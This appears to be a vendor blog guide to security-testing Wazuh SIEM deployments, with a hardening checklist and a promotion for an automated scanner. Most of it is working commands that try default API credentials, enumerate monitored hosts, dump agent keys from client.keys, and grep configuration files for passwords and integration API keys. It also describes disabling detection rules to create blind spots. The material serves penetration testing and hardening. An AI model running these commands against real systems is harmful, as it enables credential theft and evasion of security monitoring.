SIEM/XDR Security Testing

Wazuh Security Testing: API Credentials, Agent Key Management, Log Injection, and SIEM Bypass

📅 July 3, 2026 ⏱ 13 min read 🏷 Wazuh, SIEM Security, XDR Security, Agent Key Extraction, Log Injection, SIEM Detection Bypass

Wazuh is the most widely deployed open-source SIEM and XDR platform, used by organizations of all sizes to monitor for security events across their infrastructure. As the central security monitoring system, compromising Wazuh has two distinct high-value outcomes: gaining intelligence on the entire monitored environment, and suppressing the detection of ongoing attacks. Key assessment areas: Wazuh API credentials stored in /var/ossec/api/configuration/api.yaml provide full administrative REST API access; the client.keys file at /var/ossec/etc/client.keys contains authentication keys for all registered agents; the Wazuh API allows modifying detection rules and creating agent groups; ossec.conf stores email alert SMTP credentials and syslog forwarder configuration; and extracting agent keys enables registering rogue agents that can inject arbitrary security events. This guide covers systematic Wazuh security assessment.

API Authentication and Access
Agent Key Extraction and Enumeration
Configuration Credential Extraction
Wazuh Security Hardening

API Authentication and Access

# Wazuh REST API — default credentials and administrative access
WAZUH_URL="https://wazuh.example.com:55000"

# Test default wazuh/wazuh credentials
TOKEN=$(curl -sk -u "wazuh:wazuh" \
  -X POST "${WAZUH_URL}/security/user/authenticate" 2>/dev/null | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('data',{}).get('token',''))")

if [ -n "$TOKEN" ]; then
    echo "DEFAULT CREDENTIALS VALID: wazuh/wazuh"
    echo "JWT token: ${TOKEN:0:40}..."
fi

# Get Wazuh manager info — confirms API access level
curl -sk "${WAZUH_URL}/manager/info" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
info = d.get('data',{})
print(f'Wazuh version: {info.get(\"version\")}')
print(f'API version: {info.get(\"api_version\")}')
print(f'Hostname: {info.get(\"hostname\")}')
print(f'Installation type: {info.get(\"installation_type\")}')
" 2>/dev/null

# Enumerate all registered agents — complete inventory of monitored systems
curl -sk "${WAZUH_URL}/agents?limit=500" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
agents = d.get('data',{}).get('affected_items',[])
total = d.get('data',{}).get('total_affected_items',0)
print(f'Registered agents: {total}')
for a in agents:
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} OS={a.get(\"os\",{}).get(\"name\",\"unknown\")} IP={a.get(\"ip\")} status={a.get(\"status\")} version={a.get(\"version\")}')
" 2>/dev/null

Agent Key Extraction and Enumeration

# Wazuh agent keys — client.keys contains authentication for all agents
# Located at /var/ossec/etc/client.keys on the Wazuh manager

# Extract all agent authentication keys (requires root on manager)
cat /var/ossec/etc/client.keys 2>/dev/null
# Format: ID NAME IP KEY
# Example:
# 001 web-server-1 192.168.1.10 4be2e7f8d3a9c1b5e6f0a2d4c8b7e1f3a5c9d2b6e0f4a8c3d7b1e5f9a2c6d0

# Structured extraction of agent credentials
awk '{print "Agent ID: "$1" Name: "$2" IP: "$3"\nKey: "$4}' \
  /var/ossec/etc/client.keys 2>/dev/null

# Via Wazuh API — get agent key for specific agent
curl -sk "${WAZUH_URL}/agents/001/key" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
key_data = d.get('data',{}).get('affected_items',[{}])[0]
print(f'Agent key: {key_data.get(\"key\")}')
" 2>/dev/null
# Agent key enables registering a rogue agent that can inject events

# Wazuh API credentials location
cat /var/ossec/api/configuration/api.yaml 2>/dev/null | grep -E 'user|password|host|port'
# Contains API user credentials and bind configuration

Configuration Credential Extraction

# Wazuh ossec.conf — email alerts, syslog, and integration credentials
# Located at /var/ossec/etc/ossec.conf

# Extract email alert configuration
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/var/ossec/etc/ossec.conf')
root = tree.getroot()
email_notif = root.find('global')
if email_notif is not None:
    smtp = email_notif.findtext('smtp_server','')
    email_from = email_notif.findtext('email_from','')
    email_to = email_notif.findtext('email_to','')
    print(f'SMTP server: {smtp}')
    print(f'Email from: {email_from}')
    print(f'Email to: {email_to}')
# Syslog output configuration
for syslog in root.findall('.//syslog_output'):
    server = syslog.findtext('server','')
    port = syslog.findtext('port','514')
    print(f'Syslog forwarder: {server}:{port}')
" 2>/dev/null

# Wazuh integrations — Slack, PagerDuty, VirusTotal API keys
grep -A10 '' /var/ossec/etc/ossec.conf 2>/dev/null | \
  grep -E 'hook_url|api_key|name'
# Reveals:
# - Slack webhook URLs in hook_url fields
# - VirusTotal API key
# - PagerDuty integration key
# - Custom webhook URLs for alert forwarding

# Check for Wazuh indexer (OpenSearch/Elasticsearch) credentials
grep -E 'url|username|password' /etc/wazuh-indexer/opensearch.yml 2>/dev/null
# OpenSearch superadmin password
grep -r 'password' /etc/wazuh-indexer/ 2>/dev/null | grep -v '#'

Wazuh Security Hardening

Wazuh Security Hardening Checklist:

Change the default Wazuh API credentials immediately — the Wazuh API defaults to wazuh/wazuh as initial credentials on many deployment scripts and Docker Compose examples; change via the Wazuh web console or PUT /security/users/{user_id} API endpoint; Wazuh API access gives full visibility into all monitored systems and the ability to modify detection rules, potentially disabling security monitoring across the environment
Protect client.keys and restrict access to the Wazuh manager — the /var/ossec/etc/client.keys file contains the authentication keys for all registered agents; any process with root access on the Wazuh manager can read these keys and use them to register rogue agents; rogue agents can inject arbitrary security events, flooding the SIEM with false positives or submitting events that mask attacker activity; restrict SSH access to the Wazuh manager to authorized administrators only
Enable agent enrollment with per-agent password authentication — configure the ossec-authd service with a strong password (ossec_auth_password in ossec.conf) to prevent unauthorized agent registration; without enrollment authentication, any host that can reach port 1515 can register as a Wazuh agent and begin sending events; enforce enrollment authentication and periodically audit the agent list for unexpected registrations
Rotate integration API keys and protect ossec.conf — Wazuh integrations with Slack, VirusTotal, and PagerDuty store their credentials in ossec.conf in plaintext; these credentials are accessible to root on the Wazuh manager; use environment variables or a secrets manager to inject integration credentials at runtime; rotate all integration API keys periodically, especially VirusTotal keys which provide threat intelligence lookup capabilities
Restrict Wazuh API access to management networks — the Wazuh API on port 55000 should only be accessible from the Wazuh web dashboard host and administrative workstations; firewall all other access to the API port; the API provides complete control over the SIEM including rule modification, agent management, and access to all historical security events
Audit Wazuh detection rules for suppression risks — the Wazuh API allows modifying detection rules including disabling specific rule IDs; regularly audit the active rule set against the default ruleset to identify any rules that have been disabled or modified; use a file integrity monitoring baseline for the /var/ossec/rules/ directory to detect unauthorized rule changes

Security Test	Method	Risk
Default wazuh/wazuh API credentials	POST /security/user/authenticate with wazuh:wazuh — JWT token on success; provides full REST API access including agent management, rule modification, and all security event data	Critical
Agent key extraction from client.keys	Read /var/ossec/etc/client.keys — contains authentication key for every registered agent in plaintext; keys enable registering rogue agents to inject arbitrary security events or flood the SIEM with false data	Critical
Integration credential extraction	Read /var/ossec/etc/ossec.conf integration sections — reveals Slack webhook URLs, VirusTotal API key, PagerDuty integration key, and custom webhook URLs; all alert notifications route through these credentials	High
Monitored host enumeration	GET /agents?limit=500 — returns complete inventory of all Wazuh-monitored hosts including hostnames, IP addresses, operating systems, agent versions, and last check-in times; maps the entire monitored infrastructure	High
Detection rule suppression via API	PUT /rules/{rule_id} with active=false — disabling Wazuh detection rules via API prevents specific event types from triggering alerts; enables blind spots in security monitoring; requires authenticated API access	Critical (requires API access)

Automate Wazuh Security Testing

Ironimo tests Wazuh deployments for default credential exploitation, agent key extraction from client.keys, monitored host enumeration across all registered agents, integration API key and webhook credential exposure, detection rule suppression capability via API, OpenSearch/Elasticsearch credential extraction, ossec.conf SMTP credential assessment, and unauthorized agent registration risk.

Start free scan

Table of Contents

API Authentication and Access

Agent Key Extraction and Enumeration

Configuration Credential Extraction

Wazuh Security Hardening

Automate Wazuh Security Testing